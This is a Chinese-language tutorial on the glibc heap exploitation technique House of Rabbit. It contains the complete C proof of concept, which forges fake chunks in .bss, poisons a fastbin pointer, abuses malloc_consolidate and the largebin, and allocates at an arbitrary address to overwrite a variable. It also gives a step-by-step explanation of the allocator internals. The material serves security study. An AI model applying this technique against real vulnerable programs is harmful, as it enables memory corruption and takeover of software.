House of Rabbit 是一种无需泄露地址的堆利用技术,这种利用的前提是能够分配任意大小的堆块,并且存在一个已知地址的空间至少可以写0x20字节大小(用来伪造堆块),并存在可以劫持fastbin->fd指针的漏洞如UAF。首先通过漏洞修改fastbin->fd指向伪造的堆块(此时堆块size为正常),通过free触发malloc_consolidate(size很大时触发,释放\合并),将伪造的堆块释放进入unsorted bin,进一步将伪造堆块释放进入largebin的最后一个,此时修改堆块地址为0xfffffffffffffff0,利用整数溢出达到任意地址分配的效果。
该种方法在满足条件的情况下可以绕过ASLR
达到任意地址分配的效果。需要满足的条件如下
fastbin,smallbin
和较大的堆块0x20
字节fastbin->fd
指针的漏洞,UAF
等在ubuntu 18.04
即glibc 2.27
中调试
/*
PoC of House of Rabbit
Tested in Ubuntu 14.04, 16.04 (64bit).
Yutaro Shimizu
@shift_crops
2017/09/14
Update (2019/08/06) : Ubuntu 18.04 (glibc-2.27)
*/
// gcc house_of_rabbit.c -D GLIBC_VERSION=27 -o house_of_rabbit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void evict_tcache(size_t size);
char target[0x30] = "Hello, World!";
unsigned long gbuf[8] = {0};
int main(void){
void *p, *fast, *small, *fake;
char *victim;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf( "This is PoC of House of Rabbit\\\\n"
"This technique bypassing Heap ASLR without leaking address, "
"and make it possible to overwrite a variable located at an arbitary address.\\\\n"
"Jump like a rabbit and get an accurate address by malloc! :)\\\\n\\\\n");
// 0. Disable tcache for 0x20,0x90 chunks
printf("0. Disable tcache for 0x20,0x90 chunks (for glibc version >= 2.26)\\\\n\\\\n");
evict_tcache(0x18);
evict_tcache(0x88);
// 1. Make 'av->system_mem > 0xa00000'
printf("1. Make 'av->system_mem > 0xa00000'\\\\n");
p = malloc(0xa00000);
printf(" Allocate 0xa00000 byte by mmap at %p, and free.\\\\n", p);
free(p);
p = malloc(0xa00000);
printf(" Allocate 0xa00000 byte in heap at %p, and free.\\\\n", p);
free(p);
printf(" Then, the value of 'av->system_mem' became larger than 0xa00000.\\\\n\\\\n");
// 2. Free fast chunk and link to fastbins
printf("2. Free fast chunk and link to fastbins\\\\n");
fast = malloc(0x18);
small = malloc(0x88);
printf( " Allocate fast chunk and small chunk.\\\\n"
" fast = %p\\\\n"
" small = %p\\\\n", fast, small);
free(fast);
printf(" Free fast chunk.\\\\n\\\\n");
// 3. Make fake_chunk on .bss
printf("3. Make fake_chunk on .bss\\\\n");
gbuf[0] = 0xfffffffffffffff0;
gbuf[1] = 0x10;
gbuf[3] = 0x21;
gbuf[7] = 0x1;
printf( " fake_chunk1 (size : 0x%lx) is at %p\\\\n"
" fake_chunk2 (size : 0x%lx) is at %p\\\\n\\\\n"
, gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);
// VULNERABILITY
// use after free or fastbins dup etc...
fake = &gbuf[2];
printf( "VULNERABILITY (e.g. UAF)\\\\n"
" *fast = %p\\\\n"
, fake);
*(unsigned long**)fast = fake;
printf(" fastbins list : [%p, %p, %p]\\\\n\\\\n", fast-0x10, fake, *(void **)(fake+0x10));
// 4. call malloc_consolidate
printf( "4. call malloc_consolidate\\\\n"
" Free the small chunk (%p) next to top, and link fake_chunk1(%p) to unsorted bins.\\\\n\\\\n"
, small, fake);
free(small);
// 5. Link unsorted bins to appropriate list
printf( "5. Link unsorted bins to appropriate list\\\\n"
" Rewrite fake_chunk1's size to 0xa0001 to bypass 'size < av->system_mem' check.\\\\n");
gbuf[3] = 0xa00001;
malloc(0xa00000);
printf( " Allocate huge chunk.\\\\n"
" Now, fake_chunk1 link to largebin[126](max).\\\\n"
" Then, write fake_chunk1's size back to 0xfffffffffffffff1.\\\\n\\\\n");
gbuf[3] = 0xfffffffffffffff1;
// 6. Overwrite targer variable
printf( "6. Overwrite targer variable on .data\\\\n"
" target is at %p\\\\n"
" Before : %s\\\\n"
, &target, target);
malloc((void*)&target-(void*)(gbuf+2)-0x20);
victim = malloc(0x10);
printf(" Allocate 0x10 byte at %p, and overwrite.\\\\n", victim);
strcpy(victim, "Hacked!!");
printf(" After : %s\\\\n", target);
}
void evict_tcache(size_t size){
void *p;
#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
p = malloc(size);
#if (GLIBC_VERSION < 29)
free(p);
free(p);
malloc(size);
malloc(size);
*(void**)p = NULL;
malloc(size);
#else
#if (GLIBC_VERSION == 29)
char *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
uint16_t *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
counts[(size + 0x10 >> 4) - 2] = 0xff;
#endif
#endif
}
evict_tcache(0x18);
evict_tcache(0x88);
首先填充0x20,0x90
大小的tcache
。这里直接将heap
起始地址存储的tcache
的数量设为0xff
。
// 1. Make 'av->system_mem > 0xa00000'
printf("1. Make 'av->system_mem > 0xa00000'\\\\n");
p = malloc(0xa00000);
printf(" Allocate 0xa00000 byte by mmap at %p, and free.\\\\n", p);
free(p);
p = malloc(0xa00000);
printf(" Allocate 0xa00000 byte in heap at %p, and free.\\\\n", p);
free(p);
printf(" Then, the value of 'av->system_mem' became larger than 0xa00000.\\\\n\\\\n");
当用户申请的大小超过设置的阈值时,堆块会交由mmap
进行分配,并在分配结束之后改变mmap
的阈值,之后再次申请时就会用malloc
从堆中申请。最初的阈值为0x20000
//malloc.c sysmalloc
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
//...
unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum);
//...
}
因此首次申请的时候,堆块由mmap
分配,后阈值转变为0xa01000
。那么第二次分配的时候系统就会调用malloc
从堆中分配申请的堆块的大小,初始的top chunk size
为0x20d00
,因此会首先调用sbrk
对top chunk
进行扩展,分配释放之后top chunk size
转变为0xa20d00
。